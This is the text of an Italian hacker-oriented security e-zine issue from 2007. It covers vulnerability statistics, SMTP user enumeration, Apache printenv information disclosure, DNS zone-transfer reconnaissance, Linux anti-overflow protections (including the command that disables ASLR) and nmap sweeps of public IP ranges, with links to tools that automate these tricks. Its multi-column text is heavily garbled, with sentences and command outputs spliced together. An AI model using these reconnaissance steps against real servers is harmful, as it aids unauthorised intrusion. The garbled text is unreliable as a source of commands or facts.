Security SystemNumero: 0 - Novembre 2007
www.segfault.it
SpecialeStack Overflow
SAOR:Attacco al TCP
(0Day)
Windows Filter driver: L’era dei Rootkit
Racconti Underground: La vera storia dell’Unicode bug
OMMARIOSEditoriale
Tips & tricks
Focus on
Look at
Raccontidall’Underground
Tutti i numeri della sicurezza
Lo sapevi che?...
Kernel 2.6 e tecnologie Anti Overflow
Stack Overflow Vanilla: Il caso mod_jk
Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo osservando cosa affermano recenti studi.
Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse? Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio?
La vera storia dell’ Unicode Bug
Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di contrasto oggi esistenti e capire quando e dove sono attive.
I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow. Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente, exploit remoto incluso!
Bypassare Exec-Shield su Fedora e RedHat Linux
Exec-Shield viene considerato la bestia nera di molti hacker. Aldilà del continuo miglioramento di questa tecnologia, la ricerca, volta a trovare nuove tecniche per bypassarla, non è però assolutamente ferma e ve ne forniamo una dimostrazione.
SAOR: Attacco al TCP
Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita, che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso.
Look at
Look at
Look at Filter Driver: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non mancheremo di proporre altri approfondimenti!
C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo utilizzando la testa!
pag. 3
pag. 4
pag. 7
pag.13
pag.29
pag.38
pag.46
pag.54
TUTTI I NUMERI DELLA SICUREZZA
ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza
informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze
durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era Cforse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a
riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli.
Partiamo dai vendor, ovvero da chi dovrebbe proteggere i propri utenti.
Stando ai dati divulgati dagli esperti di X-Force (la divisione security di IBM), il 12,6% delle vulnerabilità
scoperte durante la prima metà del 2007 è riconducibile ad appena cinque compagnie, rispettivamente
Microsoft (4,2%), Apple (3%), Oracle (2%), Cisco (1,9%) e Sun (1,5%), seguite da IBM (1,3%), Mozilla
Corporation (1,3%), Xoops (1,2%) e BEA (1,1%). Significativo, anche se non riconducibile direttamente alla
categoria dei vendor, come lo 0,9% di tutti i bug scoperti durante il periodo preso in esame dallo studio siano
relativi al kernel Linux. Il 21% delle vulnerabilità attribuibili ai primi cinque vendor risultavano prive di patch nel
momento in cui la ricerca era stata rilasciata (Agosto 2007), una percentuale superiore rispetto al 14% di un
anno fa. In totale le vulnerabilità conosciute e rese pubbliche (quindi non 0day) durante la prima metà
dell'anno in corso sono state 3273, il 3,3% in meno in confronto allo stesso periodo del 2006. Questo dato
positivo viene però offuscato dalle statistiche relative alla loro pericolosità. Il 90% può infatti essere sfruttata da
remoto e più della metà (esattamente il 51,6%) può fornire accesso ai dati del sistema vulnerabile.
E dall'altra parte come rispondono gli utenti?
Una ricerca pubblicata da McAfee alla fine di Settembre rivela che il 70% dichiara di utilizzare un programma
antispyware ma solo il 55% ne fa in realtà uso. L'errore nasce nella stragrande maggioranza dei casi dalla
convinzione che tutte le applicazioni antivirus integrino al loro interno una soluzione software di questo tipo. Il
94% degli utenti ha installato un antivirus ma il 48% utilizza una versione scaduta. Fra coloro che dispongono
invece di una versione non scaduta, il 65% non scarica periodicamente gli aggiornamenti. E poi ancora altri
numeri: l'81% degli utenti dichiara di avere un firewall installato. Di fatto solo il 64% lo tiene attivo. Il 78% non si
protegge con più di un'applicazione di sicurezza. Emerge infatti che l'antivirus è nella maggior parte dei casi
l'unica soluzione installata nei PC desktop. Pur questa mirabile presenza, il 54% degli utenti ha avuto di
recente problemi di virus mentre il 44% è stato infetto da almeno una componente spyware. Il 98% fra
coloro che si proteggono con più di un programma riconoscono l'importanza degli aggiornamenti. In realtà il
48% di questi utenti non effettua un update del suo sistema da almeno un mese.
E quale è l'attuale trend degli attacchi informatici?
90 è la percentuale di crescita del loro numero stimata da SecureWorks (riscontro relativo al solo territorio
statunitense) paragonando i risultati dello scorso quadrimestre (Maggio-Agosto 2007) con quelli del primo
(Gennaio-Aprile 2007).
30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed
utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario.
Security System Staff
Editoriale
3
TIPS & TRICKS
SMTP Enumeration prompt dei comandi (ad esempio con ssh), questo
trucco è ancora oggi parecchio sfruttato a beneficio
n molte configurazioni standard di Linux il dei nostalgici del finger[2] per lanciare attacchi di
sottosistema di posta elettronica è brute-forcing contro i servizi di autenticazione. Di Istrettamente vincolato al sistema operativo ed in solito questo genere di attacchi vengono infatti
particolare al sottosistema di autenticazione. condotti utilizzando come base di partenza username
Questo è ad esempio il caso di Sendmail[1] per il casuali o notoriamente diffusi su Internet (root o
quale, di default, il file locale /etc/passwd funge da www tanto per citare un paio di esempi) senza
l'effettiva consapevolezza del loro status rispetto al database degli account di posta elettronica. Tale
target. Il vantaggio nel praticare SMTP Enumeration comportamento permette di determinare quali utenti
è quindi notevole se si considera che è possibile sono configurati in un server. Le operazioni da
conoscere a priori quali account esistono nel sistema svolgere sono molto semplici. Una volta identificata
e possono potenzialmente essere violati (quelli cioè un'installazione di Sendmail si stabilisce una
sul quale concentrare i maggiori sforzi). Migliaia di comunicazione con il servizio:
tentativi di accesso ad un account inesistente hanno $ telnet 192.168.100.15 25
infatti il solo scopo di far perdere tempo ed aumentare Trying 192.168.100.15...Connected to 192.168.100.15. le probabilità di essere individuati. Escape character is '^]'.220 SS.local ESMTP Sendmail 8.12.3/8.12.3;
Non solo da Linux è possibile praticare SMTP Mon, 24 Sep 2007 13:19:23 +0300 (EEST)
Enumeration. In genere questa tecnica può essere
Si “dialoga” con esso…. (lo si saluta con il comando utilizzata anche su server basati su piattaforma
HELO e si indica un mittente nullo con il comando Windows o su servizi diversi da Sendmail per
identificare caselle di posta elettronica attive (la MAIL FROM):
parola spam dice nulla?). Alcuni anni fa questi task HELO test
potevano essere svolti facilmente con i comandi 250 SS.local Hello [192.168.100.87],
SMTP EXPN e VRFY, oggi spesso disattivati in quanto pleased to meet youMAIL FROM:<> reputati banali vettori di Information Disclosure[3]. 250 2.1.0 <>... Sender ok
Per terminare la comunicazione con il server è
sufficiente digitare da telnet il comando QUIT:….e si comunicano al server i destinatari del falso
messaggio. Dalle sua risposte sarà possibile QUIT
determinare se gli account oggetto di probing 221 SS.local closing connection
esistono o meno:
RCPT TO:<root>250 2.1.5 <root>... Recipient ok
[1] http://wRCPT TO:<bin>default in molte distribuzioni Linux che viene incluso anche in 250 2.1.5 <bin>... Recipient oksvariati release Unix come Solaris ed HP-UX.RCPT TO:<kennedy>
550 5.1.1 <fjssdfg>... User unknown [2] Storico servizio Unix in ascolto sulla porta TCP 79 che RCPT TO:<toor> fornisce informazioni sugli utenti di sistema (ora dell'ultimo 250 2.1.5 <toor>... Recipient ok accesso, tipo di shell, etc..). In passato veniva utilizzato proprio
per individuare la presenza e le abitudini di un utente (ad esempio se accedeva spesso o solo periodicamente al
Dall'output prodotto in questo caso si comprende sistema). Di solito gli account meno utilizzati erano anche quelli che subivano più tentativi di intrusione.facilmente che root, bin e toor sono utenti di sistema
[3] Con questo termine si tende solitamente indicare una fuga (Recipient OK), al contrario invece di kennedy (User di informazioni derivata dalla mal configurazione di un servizio
unknown). Pur non essendo sufficiente per o di un sistema che può consentire di determinare l'ambiente in cui il target risiede e perfezionare ai suoi danni un attacco su determinare se ogni account scoperto è attivo o può misura.
essere utilizzato per accedere da remoto ad un
ww.sendmail.org: Sendmail è il server SMTP di
4
TIPS & TRICKS
includono infatti di default questo script. Un altro tips
interessante è quello di provare a visualizzare il
contenuto della cartella /manual puntando il
b r o w s e r a l l a p a g i n a
http://ipwebserver/manual. Di default le Apache Default CGI Information Disclosureversioni del branch 1.3 e 2.0 collocano il manuale in
Non tutti sanno che quando si installa Apache[4] linea del servizio in questa directory della
compilandolo dai sorgenti vengono collocati di DocumentRoot. Da lì è possibile determinare la
default due script CGI di esempio nella cartella versione del Web Server anche quando la direttiva
/cgi-bin. Uno di questi (printenv) fornisce una ServerTokens nel fi le di configurazione
serie di informazioni interessanti sul sistema remoto httpd.conf è stata impostata a Product Only[5] o
che possono aiutare a determinare con maggiore addirittura a Minimal[6].
semplicità e senza particolari sforzi, l'ambiente in cui
il web server è eseguito ed alcuni elementi della sua
configurazione. Semplicemente puntando il browser
alla pagina http://www.nomesito.xxx/cgi-
bin/printenv si possono ad esempio ottenere
informazioni sul software di base installato: DNS AXFR Zone Transfer
SERVER_SOFTWARE="Apache/1.3.31 (Unix) Tutte le comuni implementazioni TCP/IP dei moderni PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18
OpenSSL/0.9.7d" sistemi operativi includono di default una utility le cui
potenzialità di utilizzo vengono spesso sotto stimate. o ancora il percorso dove è localizzata la Stiamo parlando di nslookup. Lo strumento DocumentRoot:
permette di indirizzare delle query verso un server
DNS e visualizzare a video le risposte ottenute. DOCUMENT_ROOT="/www/html"
Durante la fase di Information Gathering[7] di un
penetration test, l'interrogazione di un server DNS è oltre alla configurazione locale della variabile
uno dei primi passi da compiere, addirittura prima di d'ambiente PATH:
eventuali ping, telnet e traceroute (per le PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr
attività di probing manuali) o di nmap (nel caso di /local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/local/mysql/bin:/www/bin:/op scansioni automatizzate). Supponendo che il target t/www/htdig/bin:/usr/share/texmf/bin"
della propria analisi sia il dominio domain.it,
nslookup può individuare i relativi server di posta Questi output possono essere utilizzati per nel seguente modo (la sintassi è comune sia per determinare se il web server presenta del software di Windows che per Linux):base vulnerabile (ad esempio un modulo buggato),
localizzare con certezza il punto in cui le pagine web [4] httpd.apache.org
sono ospitate (utile per lanciare certi tipi di attacchi)
[5] Forza il web server a riportare nell'header HTTP “Server:” oppure individuare la presenza di componenti di solamente la stringa “Apache”.
back-end (come ad esempio un database server), [6] Forza il web server a non visualizzare nulla nell'header etc…La cgi printenv fornisce inoltre implicitamente HTTP “Server:” rendendo vana l'esatta identificazione della
l'evidenza che l'istanza di Apache in questione deriva versione del servizio con i classici metodi di scansione.
da un'installazione praticata attraverso la [7] E' la fase che si antepone al vero e proprio attacco informatico. Consiste essenzialmente nella raccolta di quante compilazione dei sorgenti. I pacchetti precompilati più informazioni possibili sui sistemi ed i dispositivi che
ufficiali delle svariate distribuzioni Linux non compongono la rete target.
Un codice dimostrativo automatico per questo
t r u c c o p u ò e s s e r e p r e l e v a t o d a
http://www.segfault.it/SS/001/tricks/SMTP-
enum.tar.gz
Un codice dimostrativo che automatizza
l'exploiting di questo trucco può essere prelevato
da http://www.segfault.it/SS/001/tricks/printenv-
scan.tar.gz
5
TIPS & TRICKS
nslookup -querytype=MX domain.it IP allocata:[…]domain.it MX preference = 10, mail Name: amministratore.domain.itexchanger = mail2.domain.it Address: 192.168.101.35domain.it MX preference = 5, mail Name: help-desk.domain.itexchanger = mail.domain.it Address: 192.168.101.31
Name: nav1.domain.itAddress: 192.168.101.40I server DNS che gestiscono domain.it possono Name: nav2.domain.it
invece essere individuati cambiando il tipo di query Address: 192.168.101.41
(non più MX ma NS): Name: nav3.domain.itAddress: 192.168.101.42
nslookup -querytype=NS domain.it […][…]
§Individuare i sistemi di sicurezza interni ed esterni domain.it nameserver = o le macchine che ospitano servizi di interesse ns1.domain.it.
domain.it nameserver = (web, ftp, smtp, proxy, firewall, etc…)ns2.domain.it.
Name: proxy-fire.domain.itI server di dominio del target possono a loro volta Address: jjj.jjj.jjj.jjj
Name: proxy-fire.domain.itessere utilizzati per rifinire ulteriormente la fase di Address: 192.168.101.160
Information Gathering. Fra le richieste DNS più Name: gw_intero.domain.it
interessanti vi è ad esempio la query AXFR, Address: 192.168.101.160Name: ftp.domain.itresponsabile del trasferimento del contenuto dei file Address: xxx.xxx.xxx.xxx
di zona, caratteristica concepita dalla RFC 1034[8] al Name: web1.domain.it
fine di agevolare la replicazione ed il backup delle Address: yyy.yyy.yyy.yyyName: web2.domain.itconfigurazioni DNS. Comunemente dovrebbe essere Address: zzz.zzz.zzz.zzzbuona norma consentire lo scambio di questi dati Name: gw_esterno.domain.it
unicamente fra due nodi autenticati (il master e lo Address: kkk.kkk.kkk.kkkslave) o che condividono un meccanismo di trusting, […]
§Mappare la rete esternama moltissimi server di dominio in Internet
rispondono anche a query AXFR inviate da client Name: client1.domain.it
anonimi (attenzione nslookup su Windows sembra Address: xxx.xxx.xxx.xxxName: client2.domain.itnon essere in grado di lanciare query AXFR Address: yyy.yyy.yyy.yyy
ritornando di fatto il codice di errore Format Name: sede_roma.domain.it
Error[9]. Probabilmente ciò è dovuto al fatto che le Address: zzz.zzz.zzz.zzz
query AXFR necessitano di essere lanciate su canale L'output derivato dalle query AXFR può essere talvolta TCP mentre Windows utilizza sempre il protocollo così completo da non rendere necessario l'utilizzo di UDP):strumenti di scansione come nmap , riducendo [10]
nslookup -querytype=AXFR domain.it notevolmente il rischio di essere tracciati da sistemi di ns1.domain.it
Intrusion Detection. nslookup -querytype=AXFR domain.it
[8] http://tools.ietf.org/html/rfc1034ns2.domain.it
[9] da L'output prodotto da questi comandi può essere
http://www.microsoft.com/resources/documentation/windows/xp/molto interessante e vale la pena analizzarlo con all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name
server found that the request packet was not in the proper attenzione. Da esso è possibile ad esempio:format. It may indicate an error in nslookup”.
§Mappare la rete interna del target e la classe [10] http://www.insecure.org
6
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
# cat /proc/2306/mapsuali sono oggi le probabilità di accedere da
[…]remoto ad un sistema Linux sfruttando un Q 08048000-08049000 r-xp 00000000 fd:00 comune stack overflow? Negli ultimi anni le
misure di sicurezza volte a contrastare questo genere 621089 /usr/bin/server
di minaccia sono aumentate esponenzialmente nel
tentativo di frenare il fenomeno della propagazione 08049000-0804a000 rw-p 00000000 fd:00
dei worm e ridurre le possibilità di un aggressore 621089 /usr/bin/server
esterno di condurre con successo attacchi intrusivi.
Reperire infatti exploit “one-shot” (compila, esegui […]
ed ottieni una shell al primo colpo) soprattutto per il bfd26000-bfd3b000 rw-p bfd26000 00:00
pinguino è diventato abbastanza arduo. Seppure 0 [stack]
esistano tecniche più o meno efficienti per aumentare
le probabilità di successo di un attacco contro le In questo esempio, ottenuto attraverso il filesystem tecnologie anti-overflow oggi esistenti, le possibilità /proc[1], è possibile osservare i permessi assegnati di portarlo a termine in modo corretto si abbassano alle varie aree di memoria dell'applicazione notevolmente quando più fra queste tecnologie “/usr/bin/server“. Come si può notare lo stack vengono implementate a protezione di un sistema. risulta essere solamente leggibile e scrivibile. Il Se è vero che “l'unione fa la forza” è proprio questo il contenuto al suo interno verrà quindi interpretato concetto a cui molti vendor Linux si sono ispirati. unicamente come dati. Il contenuto presente invece Sono diverse infatti le distribuzioni (a parte fra l'indirizzo 0x08048000 e 0x08049000 verrà ovviamente qualche rara eccezione) che applicano al
interpretato dal processore come istruzioni kernel o alla librerie di sistema un mix di patch
eseguibili (notare i permessi r-xp). Nel nostro caso differenti per la sicurezza, allontanandolo così
questa zona rappresenta il codice compilato del file considerevolmente dalla sua originaria versione
binario e mappato in memoria. Poiché la funzionalità vanilla. In questo contesto sono quattro le tecnologie
No-eXecute non è supportata da tutti i processori (in comunemente implementate che è importante
particolare è assente in modo nativo su piattaforma conoscere. Diamo loro brevemente uno sguardo per
x86), alcuni sistemi operativi la emulano a livello comprendere quali barriere antepongono al corretto
s o f t w a r e . P e r L i n u x e s i s t o n o d i v e r s e svolgimento di un attacco intrusivo.
implementazioni. Le più famose sono PaX[2] ed
Exec-Shield, quest'ultima sviluppata da Red Hat.No-eXecute
E' una funzionalità supportata dai moderni processori
AMD ed Intel che si riferisce in realtà all'ultimo bit (il bit
63) della tabella di paging, il cui scopo è quello di
marcare le aree di memoria a seconda degli effettivi
utilizzi. Ad esempio marcando lo stack e l'heap come
non eseguibili, viene preclusa la possibilità di inserire
in queste aree di memoria uno shellcode che possa [1] cat /proc/pid/maps
essere richiamato alterando l'indirizzo di ritorno di Per osservare come da sistema operativo Linux vengono
una funzione o un puntatore generico. In questo marcate le aree di memoria di un'applicazione già in esecuzione è
necessario determinare il pid del programma attraverso il modo la parte in cui sono contenuti i dati può essere comando ps o simile e visualizzare da filesystem /proc il file mapsseparata dai segmenti che contengono invece
istruzioni eseguibili dal processore:[2] http://www.grsecurity.net/
7
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
info>}0x4f6550 <system>Address Space Layout Randomization (ASLR)
[…]
E' una tecnica che permette di randomizzare lo
[…]spazio di indirizzamento virtuale di un programma. Ad
ogni esecuzione di un'applicazione l'indirizzo base (gdb) p $esp
$1 = (void *) 0xbffdd21cdello stack, dell'heap, delle librerie linkate e/o della
stessa regione di memoria in cui il file eseguibile (gdb) p system
viene mappato, variano randomicamente. In questo $2 = {<text variable, no debug
modo diviene difficile predire con esattezza il punto in info>}0x788550 <system>
cui uno shellcode verrà collocato in memoria o
l'indirizzo in cui si troveranno puntatori e/o funzioni di L'Address Space Layout Randomization è attivo di interesse, riducendo notevolmente l'efficacia sia default sul kernel Linux a partire dalla versione 2.6.20 delle classiche tecniche di buffer overflow che di ma diverse distribuzioni la implementato da tempo. quelle più avanzate (return-to-libc, VDSO return-to- Ad esempio Red Hat ha sviluppato la propria stack, etc…). Le aree di memoria interessate dalla tecnologia che fa parte di Exec-Shield. Anche PaX randomizzazione variano a seconda della offre questo tipo di supporto. Comunemente ASLR configurazione del sistema, delle patch del kernel può essere attivato/disattivato attraverso filesystem applicate dalla distribuzione in uso e/o dalle opzioni di /proc[4]
compilazione utilizzate. Si osservi il seguente
Stack Canaryesempio:
E' la tecnologia anti stack overflow su cui gli esperti # gdb ./server –q
ripongono maggiori speranze. Consiste nel (gdb) break *main
generare, ad ogni esecuzione di un'applicazione, un Breakpoint 1 at 0x8048604
valore (randomico o statico a seconda delle (gdb) run
implementazioni e delle circostanze) definito canary. Breakpoint 1, 0x08048604 in main ()
Il canary (Figura 1), in fase di costruzione dello stack (gdb) p $esp
frame di ogni funzione che utilizzi buffer più grandi di $1 = (void *) 0xbfbe362c
una certa dimensione (solitamente dai 4/8 byte in su), (gdb) p systemviene collocato subito dopo gli eventuali puntatori ed i $2 = {<text variable, no debug buffer allocati ma prima del Frame Pointer (puntato info>}0x1c8550 <system>dal registro EBP) e dell'indirizzo di ritorno della (gdb) quitfunzione (puntato dal registro EIP). Il canary viene poi
controllato subito prima dell'invocazione dell'indirizzo Appena dopo l'ingresso nella funzione main() di ritorno. Se il suo valore differisce dall'originario
dell'applicazione server, lo Stack Pointer punta allora la causa è da imputare ad una condizione di
all'indirizzo di memoria 0xbfbe362c mentre la overflow (Figura 2) che lo ha impropriamente
funzione system() può essere raggiunta attraverso sovrascritto e pertanto l'applicazione viene terminata
l'indirizzo 0x1c8550. Ma eseguendo più volte con il segnale SIGABRT.
l'applicazione e ripetendo la sessione di debugging
con gdb[3] questi indirizzi variano di continuo: [3] http://www.gnu.org/software/gdb/gdb.html
[4] echo 0 > /proc/sys/kernel/randomize_va_space (gdb) p $espdisattiva ASLR.$1 = (void *) 0xbfd9efececho 1 > /proc/sys/kernel/randomize_va_space
(gdb) p systemattiva ASLR.
$2 = {<text variable, no debug
8
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
.
Si comporta in questo modo SSP (meglio noto come FORTIFY SOURCE
ProPolice) che attraverso una patch per GCC è
implementato di default a partire dalla versione 4.1 del FORTIFY_SOURCE è una nuova feature aggiunta in
compilatore GNU. Altre implementazioni, come nel alcune distribuzioni sotto forma di patch al tree di
caso delle prime versione di StackGuard, possono sorgenti del GCC[6] che può essere utilizzata per
comportarsi in modo diverso (ad esempio rilevare e prevenire alcuni tipi di buffer overflow (stack,
proteggendo solo l'indirizzo di ritorno di una funzione heap e format string) prima che si verifichino.
ma non il suo Frame Pointer). void funzione(char *string)
{In alcune distribuzioni Linux come Fedora, per attivare
char buf[20];la protezione offerta da SSP, è necessario specificare
strcpy(buf, string);esplicitamente l'opzione –fstack-protector
}quando si compila dai sorgenti. In altre invece (ad
esempio nelle ultime edizioni di Ubuntu) questa è Nell'esempio di codice sopra evidenziato, il
implicitamente attiva e per disattivarla è necessario compilatore conosce in anticipo la dimensione del
specificare l'opzione –fno-stack-protector. Per buffer buf nello stack e può quindi prevenire che più
conoscere se un'applicazione è stata compilata con la di 20 byte di dati vengano copiati al suo interno.
protezione SSP è possibile utilizzare lo strumento Questo tipo di controllo viene effettuato da apposite
objdump[5] e verificare la presenza della funzione funzioni di check a seconda della funzione di copia
utilizzata nel programma. Ad esempio nel caso __stack_chk_fail:
appena mostrato un'analisi del binario rivelerà una o
più chiamate a __strcpy_chk subito dopo # objdump -d ./s | grep stack
l'invocazione di ciascuna strcpy():0804859c <__stack_chk_fail@plt>:
8048977: e8 20 fc ff ff # objdump -d server | grep strcpy call 804859c <__stack_chk_fail@plt> […]
804865a: e8 a1 fe ff ff call 8048500 La funzione __stack_chk_fail si occupa di
<__strcpy_chk@plt>verificare la congruità del canary ed è uno dei primi
80487a8: e8 53 fd ff ff call 8048500 blocchi di codice da analizzare se si vuole
<__strcpy_chk@plt>comprendere il funzionamento di SSP sotto Linux. Le
[5] http://directory.fsf.org/binutils.html - Lo strumento fa parte delle tecnologie Stack Canary non sono in grado di GNU binutils. E' incluso di default in tutte le principali distribuzioni.proteggere da condizioni di overflow che si verificano [6] http://directory.fsf.org/gcc.html - Compilatore GNU per i
in altre regioni di memoria al di fuori dello Stack (ad linguaggi C/C++/Java/Ada/Fortran. Costituisce la base degli
esempio nell’ Heap). strumenti di sviluppo di ogni distribuzione Linux.
puntatore
4 byteAAAA
puntatore
4 byteAAAA
buffer
256 byteAAAAAAAAAAA[...]
canary
4 byte0xAAAAAAAA
frame pointer
4 byte
returnaddress
4 byte
Attacker string
AAA[...]
puntatore
4 byte
puntatore
4 byte
buffer
256 byte
canary
0xXXXXXXXX
frame pointer
4 byte
returnaddress
4 byte
Figura 1: collocazione del canary nello stack frame di una funzione
Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia si accorgerà di questa situazione evitando che il flusso di esecuzione del programma riprenda dal return address
9
FORTIFY_SOURCE aggiunge funzioni di check per indicano i comparti territoriali a cui tali percentuali si
la maggior parte delle funzioni preposte allo riferiscono (Centro Europa, Cina e Stati Uniti). Lo
spostamento di dati da un'area di memoria all'altra schema evidenzia chiaramente un'alta percentuale di
che possono causare un buffer overflow come server Linux con kernel 2.4 ancora attivi. Tale
memcpy, memmove, memset, strcat, circostanza è sorprendentemente più marcata negli
strncat, strncpy, etc…, incluse quelle che Stati Uniti che in Cina, dove comunque la differenza a
favore dei kernel 2.6 è appena dello 1,2% e dove i permettono di indicare il formato della stringa
sistemi con kernel 2.2 rappresentano addirittura il (printf, fprintf, vfprintf, snprintf,
23,38% dell'intero campione sondato. Pur trattandosi sprintf, vsnprintf e vsprintf)di dati statistici ricavati a partire da un range limitato di
Riepilugum meglium est host rispetto alla quantità di indirizzi IP disponibili ed
allocati in internet, rimane però immutabile il fatto che
In tabella 1 è riportato il riepilogo schematizzato delle in rete un'alta percentuale di server è ancora
funzionalità di sicurezza supportate di default dalle sprovvista di ogni sorta di protezione anti overflow, il
ultime distribuzioni Linux esistenti nel momento in cui che rende questi sistemi dei target particolarmente
si scrive. Debian e Slackware che tendono ad appetibili e senza dubbio più accessibili rispetto a
avvicinarsi il più possibile al kernel vanilla (ovvero quelli in cui tali tecnologie sono invece già presenti.
privo di patch aggiuntive), risultano essere i sistemi Verrebbe dunque da asserire che l'avvento dei kernel
meno complessi da violare, mentre tra i più 2.6 sta accompagnando le tecniche di hacking
problematici rientra senza dubbio Fedora. classico (quelle fatte cioè di buffer sovrascritti oltre le
massime capacità di contenimento consentite, di
Alcune fra le tecnologie anti overflow introdotte nei puntatori deviati e di shellcode collocati in aree di
paragrafi precedenti e le metodologie note per memoria propizie) verso il tramonto. In realtà
bypassarle verranno descritte in dettaglio già a esistono ancora buoni margini di successo per
partire da questo numero della rivista. hacker e worm-writer di scrivere exploit funzionanti,
seppure le percentuali di fare breccia ai primi tentativi
si siano sensibilmente ridotte con le nuove tecnologie
E' la fine dell'hacking? anti overflow .
I due articoli pratici che seguono nelle pagine La maggior parte delle tecnologie anti overflow successive hanno proprio lo scopo di far sviluppate in questi ultimi anni sono state integrate di comprendere la differenza che intercorre tra violare default nelle moderne distribuzioni Linux solo a un vecchio sistema con kernel 2.4 e violarne uno più partire dal kernel 2.6. Ciò significa che tutti i sistemi moderno con kernel 2.6 e con le ultime funzionalità di con versioni inferiori ne sono potenzialmente sicurezza implementate.sprovviste[7]. Se da un lato è possibile obiettare che
tutte le principali distribuzioni desktop e server sono
oramai passate al kernel 2.6, dall'altro è possibile
affermare che in ambienti di produzione questo
switch non è ancora avvenuto in modo completo e
definitivo. Si osservi a tal proposito la tabella 2
sviluppata a partire da alcuni dati raccolti effettuando [7] PaX può essere applicato manualmente anche su svariate
fingerprint[8] remoto su un campione di 1000 sistemi versioni del kernel branch 2.4 e 2.2.
connessi ad Internet. La tabella consta di tre colonne [8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o
che indicano la percentuale di kernel di tipo 2.2, 2.4 e ICMP, definite probe, per identificare con approssimativa certezza il sistema operativo di un server e/o client connesso in 2.6 rilevata durante il probing e di altrettante righe che rete.
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
10
# nmap -sP -n -oG IP_active_asia.txt Le statistiche della Tabella 2 sono state generate
211.157.0-10.*utilizzando due tecniche di fingerprint distinte basate
principalmente su protocoll i ICMP e TCP,
Dove: rispettivamente implementate dagli strumenti
xprobe2[9] ed nmap[10].
-sP attiva la modalità Sweep Scan (ovvero procede Perché due diversi strumenti?
con l'invio di un icmp echo request e di un pacchetto
TCP ACK per determinare se la destinazione è online).La scelta di utilizzare due diversi strumenti è stata
dettata dalla necessità di produrre risultati il più -n disattiva la risoluzione DNS degli host.
possibile consistenti e congruenti. Poiché il traffico
ICMP viene solitamente filtrato dai firewall, si è scelto di -oG stampa l'output nel file IP_active_asia.txt affiancare alla scansione di xprobe2 quella di nmap,
in un formato facilmente manipolabile con il comando così da procedere con una più accurata identificazione
grep (ovvero tutte le informazioni ricavate per ciascun del kernel dei sistemi testati. La tecnica del TCP
indirizzo IP vengono memorizzate sulla stessa riga).Fingerprint implementata da Nmap è però molto
dispendiosa in quanto necessità di almeno una porta 211.157.0-10.* rappresenta uno dei range IP
aperta ed una chiusa per poter produrre risultati scelto per il sondaggio (nell'esempio da 211.157.0.0 a
completi. Se una di queste condizioni non viene 211.157.10.255).
soddisfatta, il tool procede alla scansione automatica di
tutte le porte TCP dell'host remoto. Laddove il traffico Dall'output generato con nmap è stata poi
ICMP non fosse filtrato ed il risultato finale potesse successivamente ricavata la lista degli indirizzi IP attivi,
essere reputato sufficientemente attendibile, si è sgrondandolo delle informazioni inutili:
preferito quindi lavorare esclusivamente con xprobe2
# cut -d " " -f 2 IP_active_asia.txt | che fa uso di un numero di richieste più circoscritto e grep –v Nmap > asia_list1che pertanto consuma meno banda di rete, generando
di conseguenza meno traffico e non urtando la La parte del comando prima del pipe (|) serve a
sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i stampare per ogni riga di testo presente nel file
quali non è stato possibile produrre alcun risultato IP_active_asia.txt il contenuto della seconda
congruo si è proceduto ad un'ulteriore verifica con colonna separato dal delimitatore spazio. L'altra parte nmap. del comando rimuove invece dall'output scritto nel file
asia_list1 la stringa “Nmap”. Ciò è sufficiente per Come è stato selezionato il campione di IP per il generare una lista di IP attivi utilizzabile come input test?delle fasi successive.
Il range di indirizzi IP da testare è stato determinato Una volta determinati strumenti da utilizzare e consultando l'attuale lista dei blocchi di assegnazione campione da sondare, come è stato svolto il test?
